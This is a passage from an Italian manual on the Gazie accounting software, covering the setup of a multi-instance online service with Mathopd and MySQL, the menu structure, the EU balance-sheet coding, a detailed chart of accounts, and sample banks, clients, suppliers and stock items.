Se tutto si conclude correttamente e Gazie, dopo l'aggiornamento, funziona secondo le aspettative, l'aggiornamento è concluso e si può cancellare la cartella contenente la versione precedente. Se invece le cose non vanno come si attendeva, occorre eliminare la nuova versione di Gazie, ripristinare il nome corretto della cartella della versione precedente e va usato phpMyAdmin per il recupero dei dati allo stato precedente l'aggiornamento.

125.3 Predisposizione di un servizio «on-line»

Gazie potrebbe essere offerto come servizio di un sito specializzato in contabilità. Un'operazione del genere certamente richiede lo studio relativo alle problematiche di sicurezza; tuttavia, qui si vuole mostrare sommariamente come potrebbe essere installato Gazie per offrire al pubblico una gestione simile a quella di ⟨*http://gazie.informaticalibera.net*⟩, senza entrare nelle problematiche della sicurezza.

Negli esempi del capitolo si dispone di un solo elaboratore in cui è installato MySQL, un servente HTTP e il PHP. Tale elaboratore risulta accessibile dalla rete esterna e il nome di dominio *`gazie.mio.dominio`* si risolve nell'indirizzo IP dello stesso.

125.3.1 Servente HTTP

Si vuole offrire l'accesso alla directory '`/var/www/gazie/`' (che inizialmente è vuota) attraverso il servente HTTP, mentre le varie versioni di Gazie vengono installate in '`/usr/lib/gazie-`***versione***`/`'. A titolo di esempio viene mostrato un estratto del file di configurazione di Mathopd, ipotizzando di poter disporre del nome di dominio *`gazie.mio.dominio`* per questo servizio.

```
...
Tuning {
        NumConnections 64
        BufSize 12288
        InputBufSize 2048
        ScriptBufSize 4096
```

```
        NumHeaders 100
        Timeout 240
        ScriptTimeout 120
}
…
Server {
    …
    Virtual {
        Host gazie.mio.dominio
        Control {
            Alias /
                Location /var/www/gazie
                Access {
                    Deny 0/0
                    Allow 0/0
                }
        }
    }
    …
}
```

125.3.2 Struttura di «/var/www/gazie/» e associazione alle basi di dati

La directory '`/var/www/gazie/`' deve andare a contenere una serie di sottodirectory, corrispondenti a un numero progressivo: '`/var/www/gazie/1/`', '`/var/www/gazie/2/`',... In ogni sottodirectory si va a realizzare una struttura di directory e collegamenti simbolici, con la quale si riproduce il contenuto di una certa versione di Gazie, collocata in realtà nella directory '`/usr/lib/gazie-`***versione***`/`'. Per esempio, così:

`#` **`mkdir /var/www/gazie/1`** [*Invio*]

`#` **`cp -dpRl /usr/lib/gazie-`*versione* `/var/www/gazie/1`** [*Invio*]

Una volta fatto questo lavoro, i collegamenti '`/var/www/gazie/*/config/config/gconfig.php`' vanno rimpiazzati con copie dei file rispettivi e modificati, in modo da utilizzare ognuno una base di dati differente. L'estratto successivo ipotizza la base di dati e l'utente della stessa denominato '**`gazie1`**', riferiti a '`/var/www/gazie/1/config/config/gconfig.php`'. Si osservi la mancanza di una parola d'ordine:

```
…
$Host = "localhost";
$Database = "gazie1";
$User = "gazie1";
$Password = "";
$table_prefix = "gaz";
…
```

125.3.3 Le basi di dati

Ogni gestione di Gazie che si intende realizzare deve avere una propria base di dati. Nell'ipotesi fatta nella sezione precedente, si tratta di crearne con nomi del tipo '**gazie*n***' (***n*** sarebbe un numero intero positivo), associando alle stesse un utente con lo stesso nome. Si tratta di utilizzare istruzioni SQL come quelle seguenti:

`#` **`mysql mysql`** [*Invio*]

Il comando appena mostrato consente di connettersi con la base di dati amministrativa, denominata '**`mysql`**', in qualità di amministratore; pertanto l'utente (che in questo caso è proprio '**`root`**') deve disporre di un file '`~/.my.cnf`' configurato correttamente per questo scopo.

`mysql>` **`CREATE DATABASE gazie`*n*** [*Invio*]

`mysql>` **`GRANT ALL ON gazie`*n*`.* TO gazie`*n*`@'localhost';`** [*Invio*]

`mysql>` **`\q`** [*Invio*]

A questo punto, però, la base di dati va popolata con le tabelle usate da Gazie, assieme ai dati iniziali predefiniti. Il file che contiene questo può essere collocato proprio nella directory '`/var/www/gazie/`' e da lì caricato:

`#` **`cat /var/www/gazie/inizio.sql | mysql gazie`*n*** [*Invio*]

125.3.4 Conclusione

Una volta realizzato quanto schematizzato nelle sezioni precedenti, a partire da *`http://gazie.mio.dominio/`**`n`**`/`* si trova la gestione ***n*** amministrata con Gazie. Per concedere l'uso di una di queste gestioni è sufficiente comunicare la parola d'ordine dell'amministratore di Gazie (amministratore interno alla gestione di quella tale copia).

125.4 Utilizzo generale di Gazie e configurazione principale dell'azienda

Viene qui mostrato l'uso generale di Gazie, con una configurazione di partenza di un'azienda leggermente differente rispetto a quella predefinita per la distribuzione dell'applicativo. Tale configurazione è quella disponibile presso il servizio ⟨http://gazie.informaticalibera.net ⟩.

125.4.1 Organizzazione del menù

Su ogni pagina mostrata da Gazie attraverso il navigatore, è disponibile il menù, il cui aspetto cambia leggermente in base al contesto.

menù attuale ▼	*voce del menù*	*voce del menù* ▼	*voce del menù* ▼	*voce del menù*

La voce che appare a sinistra rappresenta il nome del menù, ovvero il contesto dell'applicativo in cui si sta operando (per esempio «vendite», «acquisti», «magazzino», ecc.). Le voci che hanno un triangolino, dispongono di un sottomenù che si apre portando semplicemente il

puntatore del mouse sopra la loro area. Il sottomenù della prima voce è in pratica quello principale, ovvero quello delle funzionalità generali a cui si può accedere. Il disegno successivo mostra il menù `Home`, con la tendina dei menù generali aperta.

Home ▼	Home di Gazie
Vendite ▶	
Acquisti ▶	
Contabilità ▶	
Magazzino ▶	
Fine Anno ▶	
Archivi di Base ▶	
Tools & Info ▶	

A differenza di come si può essere abituati comunemente all'uso dei menù a tendina, qui ogni voce dell'albero del menù porta a una pagina di Gazie. Per esempio, selezionando `Contabilità`, `Piano dei conti`, si ottiene la pagina con cui si visualizza il piano dei conti, ma selezionando `Contabilità`, `Piano dei conti`, `Nuovo conto`, si giunge a una maschera di inserimento di un nuovo conto. In pratica, ciò è possibile perché i sottomenù si aprono automaticamente, se il puntatore del mouse passa sulla superficie della voce che si può scomporre, mentre il clic rappresenta la selezione voluta.

125.4.2 Codifica del bilancio «IV direttiva CEE»

Per associare i conti alle voci di bilancio, Gazie utilizza il file '`gazie/modules/finann/IVdirCEE.bil`', il quale è un semplice file di testo organizzato secondo una certa struttura, dove sulla prima colonna appare il codice che riproduce la voce di bilancio prevista e nella seconda la descrizione che questa voce deve avere. Il codice che appare nella prima colonna va interpretato e la figura successiva mostra come, attraverso l'esempio della voce «B III 1 c, «Partecipazioni in imprese controllanti», all'attivo del bilancio:

A	B	03	001	c
↓	↓	↓	↓	↓
attivo	B	III	1	c

Segue un estratto di questo file, dove si vede anche una prima riga nulla, priva di codice, necessaria per il funzionamento corretto.

```
;
AA00000 ;Crediti v/soci per versamenti ancora dovuti
AB01001 ;Costi di impianto e di ampliamento
…
AB03001a;Partecipazioni in imprese controllate
AB03001b;Partecipazioni in imprese collegate
…
ED00021 ;Oneri straordinari
E 00022 ;Imposte sul reddito d'esercizio
E 00026 ;Utile o perdita d'esercizio
```

125.4.3 Piano dei conti

Il piano dei conti di Gazie è organizzato formalmente con codici a due livelli, denominati «mastro» e «conto», anche se in realtà, come si può vedere in seguito, i livelli effettivi sono tre. Il mastro è di tre cifre, mentre il conto ne utilizza sei. I clienti e i fornitori hanno un loro mastro (uno per i clienti e l'altro per i fornitori), ma i conti non vengono mostrati, perché in questo caso si fa riferimento alle anagrafiche rispettive (di clienti e fornitori). I conti e i mastri, si indicano sempre a nove cifre, senza separatori. Si accede alla gestione del piano dei conti attraverso la voce `Contabilità`, `Piano dei conti`.

Tabella 125.48. Piano dei conti adattato, con i riferimenti alla riclassificazione necessaria a produrre il bilancio.

Mastro	Conto	Denominazione	Dare in bilancio	Avere in bilancio
100	000000	CREDITI VS/SOCI		
100	000001	Azionisti c/sottoscrizioni	AA00000	
100	000002	Azionisti c/versamenti richiamati	AA00000	
100	000005	Azionisti c/reintegro	AA00000	
101	000000	IMMOBILIZZAZIONI IMMATERIALI		
101	000001	Costi d'impianto	AB01001	
101	000002	Costi di ampliamento	AB01001	
101	000003	Costi di ricerca e di sviluppo	AB01002	
101	000004	Costi di pubblicità patrimonializzati	AB01002	
101	000005	Brevetti industriali	AB01003	
101	000006	Software	AB01003	
101	000007	Concessioni e licenze	AB01004	
101	000008	Avviamento	AB01005	
101	000011	Fondo ammortamento costi di impianto		AB01001
101	000012	Fondo ammortamento costi di ampliamento		AB01001
101	000013	Fondo ammortamento costi di ricerca e sviluppo		AB01002
101	000014	Fondo ammortamento costi di pubblicità		AB01002
101	000015	Fondo ammortamento brevetti industriali		AB01003
101	000016	Fondo ammortamento software		AB01003
101	000017	Fondo ammortamento concessioni e licenze		AB01004
101	000018	Fondo ammortamento avviamento		AB01005
101	000025	Fondo svalutazione brevetti industriali		AB01003
101	000030	Immobilizzazioni immateriali in corso	AB01006	
101	000031	Fornitori immobilizzazioni immateriali c/acconti	AB01006	
102	000000	IMMOBILIZZAZIONI MATERIALI		
102	000001	Terreni e fabbricati	AB02001	
102	000002	Impianti e macchinari	AB02002	
102	000003	Attrezzature industriali	AB02003	
102	000004	Attrezzature commerciali	AB02003	
102	000005	Macchine d'ufficio	AB02004	
102	000006	Arredamento	AB02004	
102	000007	Automezzi	AB02004	
102	000008	Imballaggi durevoli	AB02004	
102	000011	Fondo ammortamento fabbricati		AB02001
102	000012	Fondo ammortamento impianti e macchinari		AB02002
102	000013	Fondo ammortamento attrezzature industriali		AB02003
102	000014	Fondo ammortamento attrezzature commerciali		AB02003
102	000015	Fondo ammortamento macchine d'ufficio		AB02004
102	000016	Fondo ammortamento arredamento		AB02004
102	000017	Fondo ammortamento automezzi		AB02004
102	000018	Fondo ammortamento imballaggi durevoli		AB02004

Mastro	Conto	Denominazione	Dare in bilancio	Avere in bilancio
102	000021	Fondo svalutazione terreni e fabbricati		AB02001
102	000022	Fondo svalutazione impianti		AB02002
102	000030	Immobilizzazioni materiali in corso	AB02005	
102	000031	Fornitori immobilizzazioni materiali c/acconti	AB02005	
103	000000	CREDITI V/CLIENTI	AC02001	PD00005
105	000000	CREDITI COMMERCIALI		
105	000002	Crediti commerciali diversi	AC02001	
105	000003	Clienti c/costi anticipati	AC02001	
105	000004	Crediti fattorizzati	AC02001	
105	000005	Cambiali attive	AC02001	
105	000006	Cambiali allo sconto	AC02001	
105	000007	Cambiali all'incasso	AC02001	
105	000009	Fatture da emettere	AC02001	
105	000010	Crediti insoluti	AC02001	
105	000011	Cambiali insolute	AC02001	
105	000012	Crediti da liquidare	AC02001	
105	000020	Crediti v/controllate	AC02002	
105	000021	Crediti v/collegate	AC02003	
105	000022	Crediti v/controllanti	AC02004	
105	000040	Fondo svalutazione crediti		AC02001
105	000041	Fondo rischi su crediti		AC02001
106	000000	CREDITI DIVERSI		
106	000001	IVA ns/credito	AC02004b	
106	000002	Imposte c/acconto	AC02004b	
106	000003	Crediti per ritenute subite	AC02004b	
106	000004	Crediti d'imposta	AC02004b	
106	000005	Crediti per IVA	AC02004b	
106	000006	IVA c/acconto	AC02004b	
106	000007	Crediti per imposte	AC02004b	
106	000009	Crediti per imposte anticipate	AC02004c	
106	000010	Crediti per cauzioni	AC02005	
106	000020	Personale c/acconti	AC02005	
106	000030	Crediti v/Istituti previdenziali	AC02005	
106	000060	Obbligazionisti c/sottoscrizioni	AC02005	
106	000090	Debitori diversi	AC02005	
107	000000	ATTIVITÀ FINANZIARIE		
107	000001	Partecipazioni	AC03004	
107	000004	Azioni proprie da annullare	AB03005	
107	000005	Titoli	AC03006	
107	000007	Obbligazioni sociali	AC03006	
108	000000	DISPONIBILITÀ LIQUIDE		
108	000001	Banche c/c attivi	AC04001	
108	000002	Banca c/vincolato	AC04001	
108	000010	C/c postali	AC04001	
108	000020	Assegni	AC04002	
108	000030	Denaro in cassa	AC04003	
108	000031	Valori bollati	AC04003	
109	000000	RATEI E RISCONTI ATTIVI		
109	000001	Ratei attivi	AD00001	
109	000002	Risconti attivi	AD00002	
109	000003	Disaggio su prestiti	AD00003	
110	000000	IMMOBILIZZAZIONI FINANZIARIE		
110	000001	Partecipazioni in controllate	AB03001a	
110	000002	Partecipazioni in collegate	AB03001b	
110	000003	Partecipazioni in controllanti	AB03001c	

Mastro	Conto	Denominazione	Dare in bilancio	Avere in bilancio
110	000004	Partecipazioni diverse	AB03001d	
110	000010	Prestiti a controllate	AB03002a	
110	000011	Prestiti a collegate	AB03002b	
110	000012	Prestiti a controllanti	AB03002c	
110	000020	Mutui attivi v/terzi	AB03002d	
110	000040	Azioni proprie	AB03004	
110	000050	Titoli immobilizzati	AB03003	
115	000000	RIMANENZE		
115	000001	Materie prime	AC01001	
115	000002	Materie sussidiarie	AC01001	
115	000003	Materie di consumo	AC01001	
115	000004	Prodotti in lavorazione	AC01002	
115	000005	Semilavorati	AC01002	
115	000006	Lavori in corso su ordinazione	AC01003	
115	000007	Prodotti finiti	AC01004	
115	000009	Merci	AC01004	
115	000010	Fornitori materie c/acconti	AC01005	
197	000000	CONTI BANCARI		
197	000020	Banca x c/c		
197	000021	Banca y c/c		
199	000000	SISTEMI MINORI		
199	000001	Beni di terzi		
199	000002	Materie da ricevere		
199	000003	Clienti c/impegni		
199	000004	Impegni per beni in leasing		
199	000005	Rischi per effetti scontati		
199	000006	Rischi per fideiussioni		
199	000007	Rischi per avalli		
199	000010	Merci da ricevere		
210	000000	PATRIMONIO NETTO		
210	000001	Patrimonio netto		PA01000
210	000002	Capitale sociale		PA01000
210	000003	Riserva da sopraprezzo azioni		PA02000
210	000004	Riserve di rivalutazione		PA03000
210	000005	Riserva legale		PA04000
210	000006	Riserve per azioni proprie		PA05000
210	000007	Riserva statutaria		PA06000
210	000008	Riserva straordinaria		PA07000
210	000009	Riserva conguaglio utili in corso		PA07000
210	000011	Versamenti azionisti c/capitale		PA07000
210	000012	Versamenti in c/aumento di capitale		PA01000
210	000013	Riserva per rinnovi		PA07000
210	000014	Riserva ammortamenti anticipati		PA07000
210	000016	Riserva contributi in c/capitale		PA07000
210	000021	Utile a nuovo		PA08000
210	000022	Perdite a nuovo	PA08000	
210	000031	Utile d'esercizio		PA09000
210	000032	Perdita d'esercizio	PA09000	
210	000035	Prelevamenti extragestione	PA01000	
210	000036	Titolare c/ritenute subite	PA01000	
211	000000	FONDI PER RISCHI E ONERI		
211	000002	Fondo per imposte		PB00002
211	000003	Fondo imposte differite		PB00002
211	000004	Fondo resposabilita civile		PB00003
211	000010	Fondo garanzie prodotti		PB00003

Mastro	Conto	Denominazione	Dare in bilancio	Avere in bilancio
211	000011	Fondo manutenzioni programmate		PB00003
211	000012	Fondo buoni sconto e concorsi a premio		PB00003
212	000000	DEBITI V/FORNITORI		
213	000000	DEBITI FINANZIARI		
213	000001	Prestiti obbligazionari		PD00001
213	000002	Prestiti obbligazionari convertibili		PD00002
213	000005	Azionisti c/finanziamenti		PD00003
213	000010	Banche c/c passivi		PD00004
213	000011	Banche c/ri.ba. all'incasso		PD00004
213	000012	Banche c/cambiali all'incasso		PD00004
213	000013	Banche c/anticipi su fatture		PD00004
213	000015	Banche c/sovvenzioni cambiarie		PD00004
213	000016	Banche c/sovvenzioni garantite		PD00004
213	000020	Mutui ipotecari		PD00004
213	000025	Cambiali passive finanziarie		PD00008
213	000030	Prestiti da controllate		PD00009
213	000031	Prestiti da collegate		PD00010
213	000032	Prestiti da controllanti		PD00011
213	000040	Debiti v/altri finanziatori		PD00005
214	000000	DEBITI COMMERCIALI		
214	000001	Clienti c/acconti		PD00006
214	000019	Fatture da ricevere		PD00007
214	000020	Cabiali passive		PD00008
214	000021	Debiti da liquidare		PD00007
214	000040	Debiti v/controllate		PD00009
214	000041	Debiti v/collegate		PD00010
214	000042	Debiti v/controllanti		PD00011
215	000000	DEBITI DIVERSI		
215	000001	IVA ns/debito		PD00012
215	000002	Debiti per ritenute da versare		PD00012
215	000003	Debiti per imposte		PD00012
215	000005	Debiti per IVA		PD00012
215	000010	Debiti v/istituti previdenziali		PD00013
215	000011	Debiti v/fondi pensione		PD00014
215	000020	Personale c/retribuzioni		PD00014
215	000021	Personale c/liquidazione		PD00014
215	000022	Cedente c/cessione		PD00014
215	000030	Debiti per cauzioni		PD00014
215	000040	Debiti per co.co.pro.		PD00014
215	000045	Azionisti c/competenze		PD00014
215	000050	Azionisti c/dividendi		PD00014
215	000051	Azionisti c/acconto dividendi		PD00014
215	000052	Azioni c/rimborso		PD00014
215	000054	Debiti per azioni estratte		PD00014
215	000060	Debiti per obbligazioni estratte		PD00014
215	000061	Obbligazionisti c/rimborsi		PD00014
215	000062	Obligazionisti c/interessi		PD00014
215	000070	Amministratori c/competenze		PD00014
215	000071	Sindaci c/competenze		PD00014
215	000090	Creditori diversi		PD00014
216	000000	RATEI E RISCONTI PASSIVI		
216	000001	Ratei passivi		PE00001
216	000002	Risconti passivi		PE00002
216	000003	Aggio sui prestiti		PE00003
217	000000	TRATTAMENTO FINE RAPPORTO		

Mastro	Conto	Denominazione	Dare in bilancio	Avere in bilancio
217	000001	Debiti per TFRL		PC00000
299	000000	SISTEMI MINORI		
299	000001	Depositanti beni di terzi		
299	000002	Fornitori c/impegni		
299	000003	Prodotti da consegnare		
299	000004	Creditori c/leasing		
299	000005	Banche c/effetti scontati		
299	000006	Creditori per fideiussioni		
299	000007	Creditori per avalli		
299	000010	Merci da consegnare		
315	000000	COSTI PER SERVIZI		
315	000001	Costi di trasporto	EB00007	
315	000002	Costi per energia	EB00007	
315	000003	Costi di publicità	EB00007	
315	000004	Consulenze	EB00007	
315	000005	Costi postali	EB00007	
315	000006	Costi telefonici	EB00007	
315	000007	Assicurazioni	EB00007	
315	000008	Costi di vigilanza	EB00007	
315	000009	Costi per i locali	EB00007	
315	000010	Costi esercizio automezzi	EB00007	
315	000011	Manutenzioni e riparazioni	EB00007	
315	000012	Provvigioni passive	EB00007	
315	000013	Costi d'incasso	EB00007	
315	000014	Oneri di factoring	EB00007	
315	000015	Costi per co.co.pro.	EB00007	
315	000016	Lavorazioni presso terzi	EB00007	
315	000020	Competenze amministratori	EB00007	
315	000021	Competenze sindacali	EB00007	
315	000022	Competenze società di revisione	EB00007	
315	000025	Oneri contributivi	EB00007	
315	000030	Commissioni bancarie	EB00007	
315	000031	Costi di etichettatura	EB00007	
315	000032	Abbonamenti	EB00007	
320	000000	COSTI PER GODIMENTO DI BENI DI TERZI		
320	000001	Fitti passivi	EB00008	
320	000002	Canoni leasing	EB00008	
322	000000	COSTI PER IL PERSONALE		
322	000001	Salari e stipendi	EB00009a	
322	000002	Oneri sociali	EB00009b	
322	000003	TFRL	EB00009c	
322	000004	Costi lavoro interinale	EB00009e	
330	000000	COSTI DELLE MATERIE/MERCI		
330	000001	Materie prime c/acquisti	EB00006	
330	000002	Materie sussidiarie c/acquisti	EB00006	
330	000003	Materie di consumo c/acquisti	EB00006	
330	000004	Merci c/acquisti	EB00006	
330	000005	Materie prime c/apporti	EB00006	
330	000006	Materie sussidiarie c/apporti	EB00006	
330	000007	Materie di consumo c/apporti	EB00006	
330	000008	Merci c/apporti	EB00006	
330	000010	Resi su acquisti		EB00006
330	000011	Ribassi e abbuoni attivi		EB00006
330	000012	Premi su acquisti		EB00006
336	000000	SVALUTAZIONI		

Mastro	Conto	Denominazione	Dare in bilancio	Avere in bilancio
336	000001	Svalutazione immobilizzazioni immateriali	EB00010c	
336	000002	Svalutazione immobilizzazioni materiali	EB00010c	
336	000006	Svalutazione crediti	EB00010d	
337	000000	VARIAZIONI DELLE RIMANENZE DI MATERIE		
337	000001	Materie prime c/esistenze iniziali	EB00011	
337	000002	Materie sussidiarie c/esistenze iniziali	EB00011	
337	000003	Materie di consumo c/esistenze iniziali	EB00011	
337	000004	Merci c/esistenze iniziali	EB00011	
337	000010	Materie prime c/rimanenze finali		EB00011
337	000011	Materie sussidiarie c/rimanenze finali		EB00011
337	000012	Materie di consumo c/rimanenze finali		EB00011
337	000013	Merci c/esistenze finali		EB00011
338	000000	ACCANTONAMENTI		
338	000004	Accantonamento per responsabilità civile	EB00012	
338	000010	Accantonamento per garanzie prodotti	EB00013	
338	000011	Accantonamento per manutenzioni programmate	EB00013	
338	000012	Accantonamento per buoni sconto e concorsi	EB00013	
339	000000	ONERI DIVERSI		
339	000001	Oneri fiscali diversi	EB00014	
339	000010	Arrotondamenti passivi	EB00014	
339	000020	Minusvalenze ordinarie	EB00014	
339	000030	Sopravvenienze passive ordinarie	EB00014	
340	000000	AMMORTAMENTI IMMOBILIZZAZIONI IMMATERIALI		
340	000001	Ammortamento costo di impianto	EB00010a	
340	000002	Ammortamento costi di ampliamento	EB00010a	
340	000003	Ammortamento costi di ricerca e sviluppo	EB00010a	
340	000004	Ammortamento costi di pubblicità	EB00010a	
340	000005	Ammortamento brevetti	EB00010a	
340	000006	Ammortamento software	EB00010a	
340	000007	Ammortamento concessioni e licenze	EB00010a	
340	000008	Ammortamento avviamento	EB00010a	
341	000000	ONERI FINANZIARI		
341	000001	Interessi passivi verso fornitori	EC00017	
341	000002	Interessi passivi bancari	EC00017	
341	000003	Sconti passivi bancari	EC00017	
341	000010	Interessi passivi su mutui	EC00017	
341	000012	Interessi su obbligazioni	EC00017	
341	000013	Ammortamento disagio	EC00017	
341	000015	Premi di rimborso	EC00017	
341	000016	Interessi passivi su cambiali	EC00017	
341	000020	Interessi passivi v/controllate	EC00017	
341	000021	Interessi passivi v/collegate	EC00017	
341	000022	Interessi passivi v/controllanti	EC00017	
341	000030	Perdite su titoli	EC00017	
341	000040	Oneri finanziari diversi	EC00017	
350	000000	AMMORTAMENTI IMMOBILIZZAZIONI MATERIALI		
350	000001	Ammortamento fabbricati	EB00010b	
350	000002	Ammortamento impianti e macchinari	EB00010b	
350	000003	Ammortamento attrezzature industriali	EB00010b	
350	000004	Ammortamento attrezzature commerciali	EB00010b	
350	000005	Ammortamento macchine d’ufficio	EB00010b	
350	000006	Ammortamento arredamento	EB00010b	

Mastro	Conto	Denominazione	Dare in bilancio	Avere in bilancio
350	000007	Ammortamento automezzi	EB00010b	
350	000008	Ammortamento imballaggi durevoli	EB00010b	
351	000000	SVALUTAZIONI DI ATTIVITÀ FINANZIARIE		
351	000001	Svalutazione partecipazioni	ED00019a	
351	000005	Svalutazione titoli	ED00019a	
361	000000	ONERI STRAORDINARI		
361	000001	Minusvalenze straordinarie	ED00021	
361	000002	Sopravvenienze passive straordinarie	ED00021	
361	000003	Imposte esercizi precedenti	ED00021	
370	000000	IMPOSTE DELL'ESERCIZIO		
370	000001	Imposte dell'esercizio	E 00022	
400	000000	PROVENTI FINANZIARI		
400	000001	Proventi da partecipazioni		EC00015
400	000010	Interessi attivi v/controllate		EC00016a
400	000011	Interessi attivi v/collegate		EC00016a
400	000012	Interessi Attivi v/controllanti		EC00016a
400	000015	Proventi su titolo immobilizzati		EC00016b
400	000020	Interessi su titoli		EC00016c
400	000025	Utile su titoli		EC00016c
400	000030	Interessi attivi v/clienti		EC00016d
400	000031	Interessi attivi bancari		EC00016d
400	000032	Interessi attivi postali		EC00016d
400	000060	Proventi finanziari diversi		EC00016d
420	000000	VALORE DELLA PRODUZIONE/VENDITE E PRESTAZIONI		
420	000001	Prodotti c/vendite		EA00001
420	000002	Lavorazioni per c/terzi		EA00001
420	000003	Rimborsi costi di vendita		EA00001
420	000004	Lavori su ordinazioni		EA00001
420	000005	Prodotti c/vendite interne		EA00001
420	000006	Merci c/vendite		EA00001
420	000007	Prestazioni servizi		EA00001
420	000010	Resi su vendite	EA00001	
420	000011	Ribassi e abbuoni passivi	EA00001	
420	000012	Premi su vendite	EA00001	
420	000020	Prodotti in lavorazione c/esistenze iniziali	EA00002	
420	000021	Semilavorati c/esistenze iniziali	EA00002	
420	000022	Prodotti c/esistenze iniziali	EA00002	
420	000025	Semilavorati c/apporti	EA00002	
420	000026	Prodotti c/apporti	EA00002	
420	000030	Prodotti in lavorazione c/rimanenze finali		EA00002
420	000031	Semilavorati c/rimanenze finali		EA00002
420	000032	Prodotti c/rimanenze finali		EA00002
420	000040	Lavori in corso c/esistenze iniziali	EA00003	
420	000041	Lavori in corso c/rimanenze finali		EA00003
420	000050	Costruzioni interne		EA00004
420	000051	Costi di ricerca e sviluppo rinviati		EA00004
421	000000	RICAVI E PROVENTI DIVERSI		
421	000001	Fitti Attivi		EA00005
421	000002	Proventi Vari		EA00005
421	000005	Indennizzi da assicurazione		EA00005
421	000010	Arrotondamenti attivi		EA00005
421	000020	Plusvalenze ordinarie		EA00005
421	000030	Sopravvenienze attive ordinarie		EA00005
421	000031	Insussistenze attive ordinarie		EA00005

Mastro	Conto	Denominazione	Dare in bilancio	Avere in bilancio
421	000040	Contributi in c/esercizio		EA00005
421	000042	Contributi in c/impianti		EA00005
450	000000	RIVALUTAZIONI DI ATTIVITÀ FINANZIARIE		
450	000001	Rivalutazione partecipazioni		ED00018a
450	000005	Rivalutazione titoli		ED00018c
460	000000	PROVENTI STRAORDINARI		
460	000001	Plusvalenze straordinarie		ED00020
460	000002	Sopravvenienze attive straordinarie		ED00020
588	000000	CONTI TRANSITORI		
588	000010	IVA c/liquidazione		
588	000011	Istituti previdenziali		
588	000030	Personale c/arrotondamenti		
588	000031	Società di factoring c/c		
588	000033	Gestione titoli		
598	000000	BILANCI (TRANSITORI)		
598	000001	Bilancio di apertura		
598	000002	Bilancio di chiusura		
598	000003	Risultato economico		

L'associazione di un conto al bilancio va fatta mettendo il codice della voce di bilancio nella posizione in cui si forma l'eccedenza. Per esempio, il conto «terreni e fabbricati», si associa in bilancio alla voce «attivo, B, I, 1», deve avere un'eccedenza dare, pertanto il codice «AB01001» va messo in dare. Nello stesso modo, il conto «fondo ammortamento fabbricati», si associa sempre alla stessa voce «attivo, B, I, 1», deve avere un'eccedenza avere, pertanto il codice «AB01001» va messo in avere. In pratica, in questo caso, è il programma che da solo determina che un'eccedenza avere comporta la diminuzione della voce di bilancio corrispondente. In altri termini, se un conto può avere indifferentemente un'eccedenza dare o avere, va messo il codice che rappresenta la voce di bilancio, sia in dare, sia in avere.

La codifica del piano dei conti è sottoposta a dei vincoli, relativi alla tipologia dei conti. I mastri da 100 a 199 devono appartenere alle attività; i mastri da 200 a 299 devono essere passività; i mastri da 300 a 399 devono essere costi; i mastri da 400 a 499 devono essere ricavi; i mastri da 500 a 599 devono essere conti d'ordine o transitori. Non possono essere usati mastri con altri codici. In pratica: attività=1∗; passività=2∗; costi=3∗; ricavi=4∗; altri=5∗. Questo raggruppamento generale dei mastri fa sì che in realtà, i livelli di suddivisione dei conti siano tre, in quanto il mastro è composto da due componenti, anche se la prima di queste è obbligatoria.

125.4.4 Banche

Le banche di appoggio si catalogano attraverso la voce `Archivi di base`, `Banche`. Nella configurazione proposta, si prevedono cinque banche con nomi di fantasia.[5]

Tabella 125.49. Banche di appoggio della configurazione proposta dell'azienda.

Codice	Denominazione	Piano dei conti	Denominazione
1	Banca della valle	197000020	Banca x c/c
2	Banca della collina	197000021	Banca y c/c
3	Banca del monte		
4	Banca del mare		
5	Banca del lago		

Nel piano dei conti devono apparire anche quelli relativi alle banche presso cui sono aperti dei conti correnti. Nella configurazione proposta sono presenti i conti «banca x c/c» e «banca y c/c». Questi conti vanno associati alla tabella delle banche di appoggio; pertanto tali banche devono essere catalogate anche lì. Per collegare il piano dei conti alle banche di appoggio, si usa la voce `Archivi di base`, `Banche C/C`; perché il collegamento possa avvenire, è necessario che nella scheda che descrive l'azienda (`Archivi di base`, `Azienda`) sia specificato qual è il mastro delle banche.

125.4.5 Clienti, fornitori e agenti

I clienti e i fornitori sono catalogati materialmente nella stessa tabella usata per il piano dei conti, nel mastro relativo, specificato originariamente nella scheda che descrive l'azienda (`Archivi di base`, `Azienda`). Tuttavia, si accede all'elenco e alla gestione dei clienti dalla voce `Vendite`, `Clienti`, mentre per i fornitori dalla voce `Acquisti`, `Fornitori`.

Tabella 125.50. Clienti previsti secondo la configurazione proposta dell'azienda.

Codice	Denominazione
000001	Alberoni & C.
000002	Belletti Ugo
000003	Super bit srl
000004	Emme
000005	Yankee
000006	Zeta
000007	Wasser

Tabella 125.51. Fornitori previsti secondo la configurazione proposta dell'azienda.

Codice	Denominazione
000001	Tutto hardware
000002	Elettricità spa
000003	Telecomunicazioni spa
000004	Delta
000005	Errex
000006	Domenichelli
000007	Sonne

All'interno di Gazie, in tutte le occasioni in cui va inserito il codice di un cliente o di un fornitore presente in anagrafica, viene chiesto di inserire alcune lettere iniziali del nominativo, perché diversamente l'elenco potrebbe essere eccezionalmente lungo e sarebbe impossibile predisporre una tendina di selezione. Per esempio, per selezionare il cliente «Alberoni» occorre scrivere almeno «al». Tuttavia, quando si ha la certezza di disporre di un elenco limitato, come è nel caso dell'azienda proposta, si possono usare dei caratteri di percentuale: «%%». In tal modo l'elenco è completo.

Gli agenti, ammesso che siano gestiti, devono essere classificati tra i fornitori. Successivamente, si può utilizzare la voce `Vendite`, `Agenti`, per definire quali fornitori sono agenti, attribuendo anche le competenze rispettive e la provvigione.

125.4.6 Articoli di magazzino

Si accede alla gestione degli articoli di magazzino dalla funzione `Magazzino`, `Articoli`. Tra le altre cose, agli articoli si associano i conti economici relativi agli acquisti e alle vendite di questi, inoltre si definiscono i listini. È molto comoda la possibilità di associare una piccola immagine a ogni articolo.

Gli articoli si suddividono in categorie merciologiche, le quali si definiscono con la funzione `Magazzino`, `Cat. merciologiche`.

Tabella 125.52. Articoli previsti secondo la configurazione proposta dell'azienda. Il codice usato per identificare gli articoli è alfanumerico.

Codice	Denominazione
TELO	Telo copri monitor
NOTETRACK	Zaino per notebook
CDBAG	Porta CD/DVD da viaggio
CDTOWER	Porta CD/DVD a colonna
USBLIGHT	Luce per notebook USB
NOTEBAG	Borsa per notebook
PS2AT	adattatore da PS/2 a AT
ATPS2	adattatore da AT a PS/2
HPROP	Propoli 20 g
HKING	Pappa reale pura 10 g
H1000	Miele mille fiori 1 kg
HACACIA	Miele di acacia 1 kg
HWAX	Cera d'api grezza 1 kg

125.4.7 Causali di contabilità

